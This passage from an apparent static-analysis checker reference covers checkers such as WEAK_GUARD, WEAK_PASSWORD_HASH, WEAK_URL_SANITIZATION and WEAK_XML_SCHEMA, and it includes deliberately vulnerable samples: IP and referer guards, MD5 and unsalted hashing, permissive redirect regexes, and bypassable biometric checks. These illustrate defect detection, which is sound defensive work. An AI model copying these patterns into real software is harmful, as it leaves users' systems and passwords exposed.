
For an example, see Section 4.342.2, “Examples”.

- `VIRTUAL_DTOR:unimplemented_as_empty:<boolean>` - When this C++ option is true, the checker will consider an unimplemented destructor empty. Defaults to `VIRTUAL_DTOR:unimplemented_as_empty:false`.

### 4.342.4. Events

This section describes one or more events produced by the `VIRTUAL_DTOR` checker.

- `delete` - Indicate that there is a delete of a pointer to the base class.
- `dtor_in_derived` - Located at the derived class's destructor. The class `derived_class` has a destructor and a pointer to it is upcast to `base_class`, which does not have a virtual destructor.
- `non-empty_dtor_field` - Indicates that a field in the derived class causes that class to have a non-empty compiler-generated destructor, because the type of the field itself has a non-trivial destructor.
- `non-trivial_dtor_base_class` - Indicates that a base class causes the derived class to have a non-trivial compiler-generated destructor, because the base class itself has a non-trivial destructor..

- `no_virtual_dtor` - Shows the location of the `base class` definition. This is the main event for the defect and shows that the class does not have a virtual destructor.
- `upcast` - Indicate that there is an upcast from a pointer to the derived class, to a pointer to the base class.

## 4.343. VOID\_FUNCTION\_WITHOUT\_SIDE\_EFFECT

Quality Checker

### 4.343.1. Overview

**Supported Languages:** C, C++

The `VOID_FUNCTION_WITHOUT_SIDE_EFFECT` is adapted from MISRA C++-2008 Rule 0-1-8: "All functions with void return type shall have external side effect(s)." A function that does not return a value and does not have external side effects will only consume time and will not contribute to the generation of any outputs, which is not likely to meet developer expectations.

Possible side effects include the following:

- Reading or writing to a file, stream, and so on
- Changing the value of a non-local variable
- Changing the value of an argument having a reference type
- Using a volatile object
- Raising an exception
- Calling a callback function, calling an OpenGL function, and so on

**Disabled by default:** `VOID_FUNCTION_WITHOUT_SIDE_EFFECT` is disabled by default. To enable it, you can use the `--enable` option to the **cov-analyze** command.

### 4.343.2. Examples

This section provides one or more `VOID_FUNCTION_WITHOUT_SIDE_EFFECT` examples.

In the following examples, only the `pointless` function and the `readExternal` function return the `VOID_FUNCTION_WITHOUT_SIDE_EFFECT` defect. Because the other functions do have external side effects, the defect is not triggered.

```
void pointless()
{
 int local;
 local = 0;
}
```

```
void test_printf()
{
 printf("%d\n", 100);
}

extern int ext_num;

void updateExternal()
{
 ext_num = 0;
}

volatile int v_Num;
void useVolatile()
{
 int i = 0;
 if(i == v_Num){}
}

void readExternal()
{
 int i = 0;
 if(i == ext_num){}
}

void test_new()
{
 int *p = new int;
 delete p;
}
```

### 4.343.3. Events

This section describes one or more events produced by the `VOID_FUNCTION_WITHOUT_SIDE_EFFECT` checker.

- `void_function_without_side_effect` - Main event indicating a void function without an external side effect.

## 4.344. VOLATILE\_ATOMICALITY

Quality Checker

### 4.344.1. Overview

**Supported Languages:** C# and Java

`VOLATILE_ATOMICALITY` finds many cases where a non-atomic update (specifically, a write to a particular field that uses the data from a previous read of the field) is made to a volatile field of a class without holding a lock. Although the `volatile` keyword guarantees that writes to a volatile field by some thread will be visible to other threads, it does not guarantee that updates to a volatile field will occur as an atomic

operation. Thus, if updates to a volatile field are performed without some measure to guarantee the atomicity of the update (such as acquiring a lock to perform the update), some updates might be lost if the updates are concurrently executed by more than one thread.

Some defects found by this checker might be fixed by using a thread-safe class or library to replace or atomically update a volatile field. In Java, an `AtomicInteger`, `AtomicBoolean`, or `AtomicReference` object might be useful substitutes because these objects have compare-and-swap methods that permit safe updates. In C#, the `System.Threading.Interlocked` class can perform a wide variety of atomic operations to ensure atomic updating of a volatile field.

In other cases, it is worth checking to see if the field is not thread-shared, because in this case the volatile modifier might not be needed and can be eliminated to improve performance.

The impact (audit, high, medium, low) reported by this checker depends on heuristics that attempt to quantify the risk related to the defect. For example, if comparisons of the field in question suggest it has semantic meaning we consider the defect to have a higher impact. If comparisons suggest a statistical nature we consider the defect to have a lower impact.

**Enabled by default:** `VOLATILE_ATOMICITY` is enabled by default. For enablement/disablement details and options, see Section 1.2, “Enabling and Disabling Checkers”.

## 4.344.2. Examples

This section provides one or more `VOLATILE_ATOMICITY` examples.

### 4.344.2.1. C# Examples

As the following example shows, appropriate locking or the use of atomic types/methods is an effective way to fix this defect.

```
using System.Threading;

public class Example1 {
 private volatile int x;

 public void UpdateX() {
 x++; //A VOLATILE_ATOMICITY defect here.
 }
}

public class Example2 {
 private volatile int x;
 private volatile int y;

 public void SumIntoX() {
 x = x + y; //A VOLATILE_ATOMICITY defect here.
 }
}

public class NoDefect {
```

```
private volatile int x;
private object aLock;

public void UpdateX() {
 lock(aLock) {
 x++; //No VOLATILE_ATOMIcity defect here.
 }
}

public class NoDefect2 {
 private volatile int x;

 public void UpdateX() {
 Interlocked.Increment(ref x); //No VOLATILE_ATOMIcity defect here.
 }
}
```

#### 4.344.2.2. Java Examples

In the following example, if `updateCounter()` is called from multiple threads, the value of `counter` might be less than the number of calls to `updateCounter()`.

```
import java.util.concurrent.atomic.AtomicInteger;

class VolatileAtomicityExample {
 volatile int counter = 0;

 public void updateCounter() {
 counter++; //A VOLATILE_ATOMIcity defect here.
 }
}
```

Appropriate locking or the use of atomic types/methods is an effective way to fix this defect.

```
class AtomicFieldExample {
 AtomicInteger counter;

 public void updateCounter() {
 counter.addAndGet(1); //No VOLATILE_ATOMIcity defect here.
 }
}
```

#### 4.344.3. Events

This section describes one or more events produced by the `VOLATILE_ATOMIcity` checker.

- `read_volatile` - Represents the read of the volatile field.
- `intervening_update` - Represents an update to the volatile field that another thread could perform between this thread's `read_volatile` and `stale_update` event.

- `stale_update` - Main event that occurs when the volatile field is updated with a potentially stale value due to an `intervening_update` event that occurs between this event and the `read_volatile` event.

## 4.345. VUE\_TEMPLATE\_UNSAFE\_VHTML\_DIRECTIVE

Security Checker

### 4.345.1. Overview

**Supported Languages:** JavaScript, TypeScript

`VUE_TEMPLATE_UNSAFE_VHTML_DIRECTIVE` finds cases where Vue templates output data into `v-html` directive. This directive outputs raw HTML and might lead to cross-site scripting (XSS) vulnerabilities if the content is untrusted, dynamically generated, or user-provided. Inspect all cases of using the `v-html` directive to ensure that it only outputs trusted content.

**Disabled by default:** `VUE_TEMPLATE_UNSAFE_VHTML_DIRECTIVE` is disabled by default. To enable it, you can use the `--enable` option to the **cov-analyze** command.

This checker is only enabled in `Audit` mode.

### 4.345.2. Examples

This section provides one or more `VUE_TEMPLATE_UNSAFE_VHTML_DIRECTIVE` examples.

In the following example a `VUE_TEMPLATE_UNSAFE_VHTML_DIRECTIVE` defect is displayed for the `template` attribute in the object sent as the second parameter to the `Vue.component()` function because the parameter contains the `v-html` directive.

```
Vue.component('bazz', {
 props: ['msg'],
 template: '<div> User message: </div>'
})
```

## 4.346. WEAK\_BIOMETRIC\_AUTH

Security Checker

### 4.346.1. Overview

**Supported Languages:** Swift

`WEAK_BIOMETRIC_AUTH` reports the use of biometric authentication that can be easily bypassed. The `LocalAuthentication` framework provides basic biometric authentication, for example using fingerprints with TouchID or facial recognition with FaceID. `LocalAuthentication` may be appropriate for some applications, but it can be bypassed or circumvented in cases where the device has been jailbroken or stolen. This may allow an attacker to access the application with the user's

credentials. Higher-security applications should use the KeyChain services API to protect sensitive data or functionality.

**Enabled by default:** `WEAK_BIOMETRIC_AUTH` is enabled by default. For enablement/disablement details and options, see Section 1.2, “Enabling and Disabling Checkers”.

## 4.346.2. Examples

This section provides one or more `WEAK_BIOMETRIC_AUTH` examples.

### 4.346.2.1. Swift

This example uses the `LAContext` API (`evaluatePolicy`) to perform biometric authentication.

```
import Foundation
import LocalAuthentication

func authenticateUser() -> Bool {
 let myContext = LAContext()
 let myLocalizedString = "Biometric Authentication for Todo List Access."

 var authError: NSError?
 if #available(iOS 8.0, macOS 10.12.1, *) {
 if myContext.canEvaluatePolicy(.deviceOwnerAuthenticationWithBiometrics,
error: &authError) {
 // Weak Biometric Authentication here
 myContext.evaluatePolicy(.deviceOwnerAuthenticationWithBiometrics,
localizedReason: myLocalizedString) { success, evaluateError in
 return success
 }
 }
 }
 return false
}
```

## 4.347. WEAK\_GUARD

Security Checker

### 4.347.1. Overview

**Supported Languages:** C, C++, CUDA, Java, Objective-C, Objective-C++

`WEAK_GUARD` finds comparisons of unreliable data (for example, host names, IP addresses, and so on) to constant strings. Code that uses such a comparison instead of an authorization or authentication check is vulnerable to exploitation by attacks such as DNS poisoning, or IP spoofing. Coverity refers to such a check as a “weak guard”.

While this checker does not look for authorization or authentication checks themselves, it does support a customization by which a user marks certain operations as “protected”. The checker reports any such operations protected by weak guards in a different, higher-impact subcategory.

**Disabled by default:** `WEAK_GUARD` is disabled by default.

- To enable `WEAK_GUARD` for C, C++, CUDA, Objective-C and Objective-C++, use the `--enable` option to the **cov-analyze** command. For enablement/disablement details and options, see Section 1.2, “Enabling and Disabling Checkers”.
- To enable `WEAK_GUARD` for Java along with other Web application checkers, use the `--webapp-security` option. For enablement/disablement details and options, see Section 1.2, “Enabling and Disabling Checkers”.

### 4.347.2. Defect Anatomy

A `WEAK_GUARD` defect shows a data flow path in which unreliable data (for example, host names or IP addresses) are compared to constant strings. The path starts at a source of unreliable data, such as an unreliable host name obtained through a reverse DNS lookup. From there the events in the defect show how this unreliable data flows through the program, for example, from the argument of a function call to the parameter of the called function. The main event of the defect shows how the unreliable data is compared to a constant string. For example, the unreliable host name could be compared to an allowlisted domain. If the unreliable comparison guards a sensitive operation, then the defect includes an event for this as well.

### 4.347.3. Examples

This section provides one or more `WEAK_GUARD` examples.

#### 4.347.3.1. C/C++

The following example performs a reverse DNS lookup using the `gethostbyaddr` function, which returns an unreliable host name. This is compared to a constant string, which the checker reports as a `dns` defect.

```
void test() {
 struct sockaddr_in serviceClient;
 struct hostent *hostInfo
 = gethostbyaddr((char*)&serviceClient.sin_addr,
 sizeof(serviceClient.sin_addr),
 AF_INET);

 if (strcmp(hostInfo->h_name,
 "www.domain.nonexistenttld") == 0) {
 // WEAK_GUARD DNS defect
 protected_operation();
 }
}
```

#### 4.347.3.2. Java

```
void cwe291(HttpServletRequest request) throws Exception {
 // getRemoteAddr() returns an unreliable address.
```

```
String sourceIP = request.getRemoteAddr();
// WEAK_GUARD: the address is compared to a constant string.
if (sourceIP != null && sourceIP.equals("134.23.43.1")) {
 // This is a sensitive operation that depends on the weak guard.
 protectedOperation();
}
}

void cwe290b() {
 // getProperty("user.name") returns an unreliable user name.
 // WEAK_GUARD: the user name is compared to a constant string.
 if (System.getProperty("user.name").equals("root")) {
 // This is a sensitive operation that depends on the weak guard.
 protectedOperation();
 }
}

boolean cwe293(HttpServletRequest request){
 // getHeader("referer") returns an unreliable referrer.
 String referer = request.getHeader("referer");
 // A constant string is set to trustedReferer.
 String trustedReferer = "http://www.example.com/";
 // WEAK_GUARD: the referer is compared to a constant string.
 if(referer.equals(trustedReferer)){
 // This is a sensitive operation that depends on the weak guard.
 protectedOperation();
 }
}
}
```

#### 4.347.4. Options

This section describes one or more `WEAK_GUARD` options.

You can set specific checker option values by passing them with `--checker-option` to the **coverity-analyze** command. For details, refer to the *Coverity Command Reference*.

- `WEAK_GUARD:always_report_ip_address:<boolean>` - If this option is set to `true`, the checker will report the `ip_address` subcategory of the defect. However, if a sensitive operation depends on such a defect, the checker will report the related high-impact subcategory of defect, `ip_address_sensitive_op`, by default, without the need to set this option to `true`. Defaults to `WEAK_GUARD:always_report_ip_address:false`.
- `WEAK_GUARD:always_report_os_login:<boolean>` - If this option is set to `true`, the checker will report the `os_login` subcategory of the defect. However, if a sensitive operation depends on such a defect, the checker will report the related high-impact subcategory of defect, `os_login_sensitive_op`, by default, without the need to set this option to `true`. Defaults to `WEAK_GUARD:always_report_os_login:false`.
- `WEAK_GUARD:always_report_principal_name:<boolean>` - If this option is set to `true`, the checker will report the `principal_name` subcategory of the defect. However, if a sensitive operation depends on such a defect, the checker will report the related high-impact subcategory of

defect `principal_name_sensitive_op` by default, without the need to set this option to `true`. Defaults to `WEAK_GUARD:always_report_principal_name:false`.

## 4.347.5. Models and Annotations

### 4.347.5.1. C/C++

This `__coverity_security_operation__()` primitive indicates the presence of a sensitive operation. It promotes a defect found by the `WEAK_GUARD` checker to high impact in programs where a weak guard is used to control the execution of a sensitive operation.

The following example performs a reverse DNS lookup using the `gethostbyaddr` function, which returns an unreliable host name. This is compared to a constant string in order to guard access to a sensitive operation (as indicated by the use of the `__coverity_security_operation__` primitive). The checker reports this as a `dns_sensitive_op` defect, which has a higher impact than the corresponding `dns` defect that would be reported in the absence of the primitive.

```
void test() {
 struct sockaddr_in serviceClient;
 struct hostent *hostInfo
 = gethostbyaddr((char*)&serviceClient.sin_addr,
 sizeof(serviceClient.sin_addr),
 AF_INET);

 if (strcmp(hostInfo->h_name,
 "www.domain.nonexistenttld") == 0) {
 // WEAK_GUARD dns_sensitive_op defect
 __coverity_security_operation__();
 protected_operation();
 }
}
```

### 4.347.5.2. Java

The following example uses the `@SensitiveOperation` annotation.

```
@SensitiveOperation native void protectedOperation();
@SensitiveOperation bool isTrusted;

boolean cwe293(HttpServletRequest request){
 // getHeader("referer") returns an unreliable referer.
 String referer = request.getHeader("referer");
 // A constant string is set to trustedReferer.
 String trustedReferer = "http://www.example.com/";
 // WEAK_GUARD: the referer is compared to a constant string.
 if(referer.equals(trustedReferer)){
 // This is a sensitive operation that depends on the weak guard.
 protectedOperation();
 }
}
```

```
// Now this is also a sensitive operation since isTrusted has been annotated.
isTrusted = true;
}
}
```



#### Note

The `sensitive_operation` directive, described in the *Security Directive Reference*, allows you to define a sensitive operation.

### 4.347.6. Events

This section describes one or more events produced by the `WEAK_GUARD` checker.

- `assign` - Unreliable data propagates from one variable to another inside a function.
- `argument` - An argument to a method uses unreliable data.
- `attr` - Unreliable data is stored as a Web application attribute that has page, request, session, or application scope.
- `call` - A method call returns unreliable data.
- `concat` - Unreliable data is concatenated with other data.
- `map_write` - A write of unreliable data to a map occurs.
- `map_read` - A read of unreliable data from a map occurs.
- `parm_in` - This method parameter is passed unreliable data.
- `parm_out` - This method parameter stored unreliable data.
- `remediation` - Information about ways to address the security vulnerability.
- `returned` - A method call returns unreliable data.
- `returning_value` - The current method returns unreliable data.
- `sanitizer` - Unreliable data passes through a sanitizer.
- `sensitive_operation` - A call to a sensitive operation.
- `unreliable_data` - The method from which unreliable data originates.
- `weak_guard` - (main event) A weak guard compares unreliable data to a constant string.

### 4.348. WEAK\_PASSWORD\_HASH

Security Checker

### 4.348.1. Overview

**Supported Languages:** C, C++, C#, CUDA, Java, Kotlin, Objective-C, Objective-C++, Python, Ruby, Visual Basic

`WEAK_PASSWORD_HASH` finds code that applies a cryptographic hash function (also known as a one-way hash function) to password data in a cryptographically weak manner. In such cases, the computational effort required to retrieve passwords from their hashes might be insufficient to deter large-scale, password-cracking attacks. Examples of weak hashing include the following:

- Using a hashing algorithm that is cryptographically weak (such as MD5).
- Hashing without iterating the hash function a large number of times.
- Hashing without using a salt as part of the input.
- Hashing with a salt that is not random and uniquely chosen for each password.

The recommended method of hashing sensitive password data is to generate a random sequence of bytes (a "salt") for each password that you intend to hash, to hash the password and the salt with an adaptive hash function such as `bcrypt`, `scrypt`, and `PBKDF2` (Password-Based Key Derivation Function 2), and then to store the hash and the salt for subsequent password checks.

- **Enabled by default:** `WEAK_PASSWORD_HASH` is enabled by default for Kotlin and Ruby. For enablement/disablement details and options, see Section 1.2, "Enabling and Disabling Checkers"
- **Disabled by default:** `WEAK_PASSWORD_HASH` is disabled by default for C, C++, CUDA, Objective-C and Objective-C++. To enable `WEAK_PASSWORD_HASH` for these languages, use the `--enable` option to the `cov-analyze` command. For enablement/disablement details and options, see Section 1.2, "Enabling and Disabling Checkers".
- **Disabled by default:** `WEAK_PASSWORD_HASH` is disabled by default for C#, Java, Python and Visual Basic.
  - To enable `WEAK_PASSWORD_HASH` for these languages along with other Web application checkers, use the `--webapp-security` option. For enablement/disablement details and options, see Section 1.2, "Enabling and Disabling Checkers".
  - For Java you can also enable `WEAK_PASSWORD_HASH` along with other Java Android security checkers, by using the `--android-security` option with the `cov-analyze` command. For enablement/disablement details and options, see Section 1.2, "Enabling and Disabling Checkers".

### 4.348.2. Defect Anatomy

A `WEAK_PASSWORD_HASH` defect shows a data flow path in which password data is passed as input to a weak hash operation. The path shows the source of the password data, such as a method call that returns such data, or an identifier whose name indicates that it contains password data. From there, the events in the defect show how this password data flows through the program, for example, from the argument of a function call to the parameter of the called function. The path shows the various cryptographic data elements that are used to set up the weak hash operation, such as its hashing

algorithm and its inputs. Specifically, the path shows how the sensitive password data flows into one of these inputs. Finally, the main event of the defect shows the point where the weak hash operation is performed on the input password data.

## Ruby

Use of SHA1 or MD5 will be reported as a security issue.

### 4.348.3. Examples

This section provides one or more `WEAK_PASSWORD_HASH` examples.

#### 4.348.3.1. C/C++

The following example hashes a password using a weak hashing algorithm (SHA-512) and without using a salt, which the checker reports as a `weak_hash_no_salt` defect for this code.

```
void test() {
 HCRYPTPROV hCryptProv;
 HCRYPTHASH hHash;
 UCHAR calcHash[64];
 DWORD hashSize = 64;
 char password[128];

 CryptAcquireContextW(&hCryptProv, 0, 0, PROV_RSA_FULL, 0);
 CryptCreateHash(hCryptProv, CALG_SHA_512, 0, 0, &hHash);

 CryptHashData(hHash, (BYTE*)password, strlen(password), 0);
 CryptGetHashParam(hHash, HP_HASHVAL, (BYTE*)calcHash, &hashSize, 0);
 //WEAK_PASSWORD_HASH defect
}
```

#### 4.348.3.2. Java

The following example hashes a password using a weak hashing algorithm (MD5) and without using a salt, which the checker reports as a `weak_hash_no_salt` defect for this code.

```
public byte[] hashPassword(String password)
 throws NoSuchAlgorithmException, UnsupportedEncodingException
{
 MessageDigest hash = MessageDigest.getInstance("MD5");
 return hash.digest(password.getBytes("UTF-8"));
}
```

The following example uses a unique random salt when hashing each password, but uses a non-iterative hashing function. So the checker will report a `weak_hash` defect for this code. However, you can suppress this report by specifying the `allow-sha2` checker option.

```
public byte[] hashPassword(PasswordAuthentication pa)
```

```
throws NoSuchAlgorithmException, UnsupportedEncodingException
{
 MessageDigest hash = MessageDigest.getInstance("SHA-512");
 SecureRandom prng = SecureRandom.getInstance("SHA1PRNG");
 hash.update(prng.generateSeed(32));
 return hash.digest(new String(pa.getPassword()).getBytes("UTF-8"));
}
```

#### 4.348.3.3. C#

The following example shows a weak password hashing method because MD5 is used. In addition, the hash here is unsalted.

```
using System;
using System.Security.Cryptography;
using System.Text;

public byte[] getPasswordHash1(string password)
{
 var hash = HashAlgorithm.Create("MD5");
 return hash.ComputeHash(Encoding.UTF8.GetBytes(password)); // defect
}
```

The following example shows a weak password hashing method because MD5 is used. In addition, the salt here is fixed.

```
public byte[] getPasswordHash2(string password)
{
 const string SALT = "Hc4HsaNJ69haeu6uKhsJnAKp";

 var hash = HashAlgorithm.Create("MD5");
 return hash.ComputeHash(Encoding.UTF8.GetBytes(password + SALT)); // defect
}
```

#### 4.348.3.4. Kotlin

The following example shows a weak password hashing method because MD5 is used. A defect is reported on the call to `digest.digest()`.

```
fun hash(pwd: ByteArray): ByteArray {
 var digest: MessageDigest = MessageDigest.getInstance("MD5");
 digest.update(pwd);
 return digest.digest();
}
```

#### 4.348.3.5. Kotlin

The following example shows a weak password hashing method because MD5 is used. A defect is reported on the call to `digest.digest()`.

```
fun hash(pwd: ByteArray): ByteArray {
```

```

var digest: MessageDigest = MessageDigest.getInstance("MD5");
digest.update(pwd);
return digest.digest();
}

```

#### 4.348.3.6. Python

Django chooses the hashing algorithm based on the `PASSWORD_HASHERS` setting. The first entry in the `PASSWORD_HASHERS` array will be used to store passwords, if it is available on the system. `WEAK_PASSWORD_HASH` flags situations where `PASSWORD_HASHERS` is explicitly defined in Django settings and the first entry in the array is not in the list of secure password hashers:

- `django.contrib.auth.hashers.Argon2PasswordHasher`
- `django.contrib.auth.hashers.PBKDF2PasswordHasher`
- `django.contrib.auth.hashers.PBKDF2SHA1PasswordHasher`
- `django.contrib.auth.hashers.BCryptSHA256PasswordHasher`
- `django.contrib.auth.hashers.BCryptPasswordHasher`

In the following example, a `WEAK_PASSWORD_HASH` defect is displayed for the first hasher in the `PASSWORD_HASHERS` array, as the `django.contrib.auth.hashers.UnsaltedSHA1PasswordHasher` hasher is not known to be a secure password hasher.

```

PASSWORD_HASHERS = [
 'django.contrib.auth.hashers.UnsaltedSHA1PasswordHasher', #defect here
 'django.contrib.auth.hashers.PBKDF2PasswordHasher',
 'django.contrib.auth.hashers.PBKDF2SHA1PasswordHasher',
 'django.contrib.auth.hashers.Argon2PasswordHasher',
]

```

#### 4.348.3.7. Visual Basic

The following example shows a weak password hashing method because MD5 is used. In addition, the hash is unsalted.

```

imports System
imports System.Security.Cryptography
imports System.Text

Public Function getPasswordHash1(password As String) As Byte()
 Dim hash = HashAlgorithm.Create("MD5")
 Return hash.ComputeHash(Encoding.UTF8.GetBytes(password)) ' defect
End Function

```

The following example shows a weak password hashing method because MD5 is used; but here, the salt is fixed.

```
imports System
imports System.Security.Cryptography
imports System.Text

Public Function getPasswordHash2(password As String) As Byte()
 Const SALT As String = "Hc4HsaNJ69haeu6uKhsJnAKp"
 Dim hash = HashAlgorithm.Create("MD5")
 Return hash.ComputeHash(Encoding.UTF8.GetBytes(password + SALT)) 'defect
End Function
```

#### 4.348.4. Options

This section describes one or more `WEAK_PASSWORD_HASH` options.

You can set specific checker option values by passing them with `--checker-option` to the **cov-analyze** command. For details, refer to the *Coverity Command Reference*.

- `WEAK_PASSWORD_HASH:allow_sha2:<boolean>` - If this option is set to `true`, the checker will suppress weak hashing defects when the hashing algorithm is SHA-2 (for example, SHA-256, SHA-384, SHA-512). Defaults to `WEAK_PASSWORD_HASH:allow_sha2:false`.
- `WEAK_PASSWORD_HASH:report_weak_hashing_on_all_strings:<boolean>` - If this option is set to `true`, the checker will treat any string as though it contains password data, meaning that it will report all weak hashing, even on non-password sources such as constant strings. Defaults to `WEAK_PASSWORD_HASH:report_weak_hashing_on_all_strings:false`.

Java examples:

```
public void test_constant() throws Throwable {
 MessageDigest hash = MessageDigest.getInstance("MD5");
 hash.digest("constant".getBytes()); // WEAK_PASSWORD_HASH defect
}

public void test2_name_param(byte[] asdf) throws Throwable {
 MessageDigest hash = MessageDigest.getInstance("MD5");
 hash.digest(asdf); // WEAK_PASSWORD_HASH defect
}
```

This option is set automatically if the `--webapp-security-aggressiveness-level` option is set to high.

Note that the analysis treats certain fields and parameters as password data based on their names. For example, passing a parameter named `password` into a weak hashing function will trigger a `WEAK_PASSWORD_HASH` defect. The following command line options allow you to specify the pieces of program data that the analysis will treat as password data: `--add-password-regex` and `--replace-password-regex`. For details, see the **cov-analyze** command documentation in the *Coverity Command Reference*.

#### 4.348.5. Models and Annotations

#### 4.348.5.1. Java

Java models and annotations (see Section 5.4, “Models and Annotations in Java”) can modify or extend the default set of fields, parameters, method return values, and so on, that the analysis can treat as sources of password data.

To specify password sources, you can write a model that uses a Coverity model primitive.

For Java, the model uses the `sensitive_source` primitive with `SensitiveDataType.SDT_PASSWORD` as the source kind, for example:

```
Object returnsPassword() {
 // This function returns password data.
 sensitive_source(SensitiveDataType.SDT_PASSWORD);
}

void storesPasswordInParam(Object arg1) {
 // The parameter arg1 will be treated as password data.
 sensitive_source(arg1, SensitiveDataType.SDT_PASSWORD);
}
```

Additionally, you can use the `@SensitiveData` annotation in place of the primitives where applicable. For examples, see `@SensitiveData`.

Coverity models a number of such sources by default.

```
public byte[] hashPassword(java.net.PasswordAuthentication pa) {
 MessageDigest hash = MessageDigest.getInstance("MD5");
 return hash.digest(new String(pa.getPassword()).getBytes()); // defect
}
```

#### 4.348.5.2. C#

To specify password sources, you can write a model that uses the `Coverity.Primitives.SensitiveSource` primitive with `Coverity.Primitives.SensitiveDataType.Password` as the source kind, for example:

```
Object returnsPassword() {
 // This function returns password data.
 sensitive_source(SensitiveDataType.SDT_PASSWORD);
}

void storesPasswordInParam(Object arg1) {
 // The parameter arg1 will be treated as password data.
 sensitive_source(arg1, SensitiveDataType.SDT_PASSWORD);
}
```

Additionally, you can use the `[SensitiveData]` attribute in place of the primitives where applicable.

#### 4.348.6. Events

This section describes one or more events produced by the `WEAK_PASSWORD_HASH` checker.

- `alias` - Propagating password data from one variable to another inside a function.
- `assign` - Assigning password data to a variable.
- `crypto_field` - The analysis detects a cryptographic data element. This element might specify a hashing algorithm, input password or salt data, or some other information that is relevant to the checker.
- `hash` - A hash operation is performed.
- `remediation` - Information about ways to address the weak password hashing vulnerability.
- `weak_hash_no_salt` - (main event) Hashing data using a weak hash function and no salt.
- `weak_hash_weak_salt` - (main event) Hashing data using a weak hash function and a constant salt.
- `weak_hash` - (main event) Hashing data using a weak hash function.
- `weak_salt` - (main event) Hashing data using a constant salt.

#### **Dataflow events**

- `argument` - An argument to a method uses password data.
- `annotated_password` - Annotating a field, method, or parameter as a password.
- `call` - A method call returns password data.
- `concat` - Concatenating password data with other data.
- `field_def` - Password data passes through a field.
- `field_read` - Reading password data from a field.
- `field_write` - Writing password data to a field.
- `inferred_password` - The name of a field, method, or parameter suggests that the element is a password.
- `map_read` - Reading password data from a map.
- `map_write` - Writing password data to a map.
- `parm_in` - Passing password data to a method parameter.
- `parm_out` - Storing password data as a method parameter.
- `password` - The method is modeled to return password data.
- `returned` - A method call returns password data.
- `returning_value` - The current method returns password data.

## 4.349. WEAK\_URL\_SANITIZATION

Security Checker

### 4.349.1. Overview

**Supported Languages:** Java, JavaScript, TypeScript

The `WEAK_URL_SANITIZATION` checker finds several cases of weak sanitization of URLs that can be used in a security context:

- A regular expression for validating a hostname implements an overly permissive check by not escaping a dot meta-character appropriately.
- URL sanitization is performed using a substring check.
- A regular expression implements an overly permissive check by missing the beginning of a string anchor.

**Disabled by default:** You can enable it only in Audit Mode.

### 4.349.2. Examples

This section provides one or more `WEAK_URL_SANITIZATION` examples.

#### 4.349.2.1. Java

For Java, the `WEAK_URL_SANITIZATION` checker flags cases when URL sanitization happens using the `java.util.regex.Matcher.matches()`, `java.util.regex.Matcher.find()`, `java.util.regex.Pattern.matches()`, `java.lang.String.indexOf()`, `java.lang.String.contains()` or `java.lang.String.matches()` function and can be bypassed by an attacker. The `WEAK_URL_SANITIZATION` doesn't flag cases when the weak sanitization of URLs occurs as part of the assert functions, such as `assert()`, `assertThat()`, `assertFalse()` and `assertTrue()`.

In the following example, a `WEAK_URL_SANITIZATION` defect is displayed for the regular expression that does not escape a meta-character. The unescaped `.` character after `(www|beta)` means "matches any character". Thus the weak regex in the example below will accept a hostname like `www-example.com` or `www5example.com`, which might be controlled by an attacker.

```
import javax.servlet.http.HttpServletResponse;

public class Searcher {
 void doGet(String css, HttpServletResponse response) {
 if(css.matches("^((www|beta).)?example\\.com")) { //defect here
 response.sendRedirect(css);
 }
 }
}
```

### 4.349.2.2. JavaScript

For JavaScript, the `WEAK_URL_SANITIZATION` checker flags cases when URL sanitization is done using the `match()` or `includes()` function.

In the following example, a `WEAK_URL_SANITIZATION` defect is displayed for the missing beginning of a string anchor in the regular expression.

```
var express = require('express');
var app = express();

app.get("/some/path", function(req, res) {
 let url = req.param("url");
 if (url.match(/https?:\\/\\/www\\.example\\.com\\/\\/)) { //defect
 res.redirect(url);
 }
});
```

## 4.350. WEAK\_XML\_SCHEMA

Security Checker

### 4.350.1. Overview

**Supported Languages:** C#, Java

The `WEAK_XML_SCHEMA` checker finds insecure settings in XSD (XML Schema Definition) schema files:

- The `maxOccurs` attribute is explicitly set to `unbounded`. In this case an attacker may supply a payload with a very large number of elements and cause resources exhaustion and, potentially, a denial of service.
- The `processContents` attribute is set to `lax` or `skip`. In this case, an attacker may be able to submit unexpected fields to the element, as the strict input validation is not going to be performed.
- The `<any>` element is used, which allows arbitrary nodes in a valid document. This may help in performing XML injection attacks.

The `WEAK_XML_SCHEMA` checker is disabled by default. It is enabled with `--webapp-security`.

### 4.350.2. Examples

This section provides one or more `WEAK_XML_SCHEMA` examples.

In the following example, a `WEAK_XML_SCHEMA` defect is displayed for the `<any>` element used in the XML schema.

```
<?xml version="1.0" encoding="UTF-8"?>
<xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" >
 <xs:element name="user" >
```

```
<xs:complexType>
 <xs:sequence>
 <xs:element name="firstName" maxOccurs="1" />
 <xs:element name="lastName" maxOccurs="1" />
 <xs:element name="role" maxOccurs="1"/>
 <xs:any minOccurs="0"/> <!-- defect here -->
 </xs:sequence>
</xs:complexType>
</xs:element>
</xs:schema>
```

### 4.350.3. Defect Anatomy

This section describes defect information for the `WEAK_XML_SCHEMA` checker.

- `unbounded_occurrences`

Impact: Medium

The schema allows an unlimited number of occurrences for this element. Attackers may take advantage of schemas that allow unbounded elements by supplying an application with a very large number elements causing the application to exhaust system resources.

Remediation: Set `maxOccurs` to a finite number or omit it as its default value is 1.

- `element_any`

Impact: Medium

Arbitrary nodes are allowed in a valid document. Permitting arbitrary content makes it easier for attackers to perform attacks like XML injection.

Remediation: Avoid using the `<any>` element.

- `lax_processing`

Impact: Low

Setting `processContents` attribute to `lax` or `skip` results in no input validation performed on the element. A schema that does not enforce strict input validation can allow arbitrary elements or attributes to be validated against it. This opens the door for an attacker to supply a malicious document to the system.

Remediation: Set `processContents` to `strict` or omit it as its default value is `strict`.

## 4.351. WRAPPER\_ESCAPE

Quality Checker

### 4.351.1. Overview

Supported Languages: C++

`WRAPPER_ESCAPE` finds many instances where the internal representation of a string wrapper class (such as `CCoMBSr`, `_bstr_t`, `CString`, or `std::string`) for a local- or global-scope object escapes the current function. The usual effect is a use-after-free error because the object destroys its internal BSTR upon exit. Whatever uses the escaped pointer now has an invalid pointer.

You can also customize the classes and functions that `WRAPPER_ESCAPE` evaluates when reporting defects.

**Enabled by default:** `WRAPPER_ESCAPE` is enabled by default. For enablement/disablement details and options, see Section 1.2, “Enabling and Disabling Checkers”.

### 4.351.2. Examples

This section provides one or more `WRAPPER_ESCAPE` examples.

```
BSTR has_a_bug()
{
 return CCoMBSr(L"temporary object"); // bug
}
```

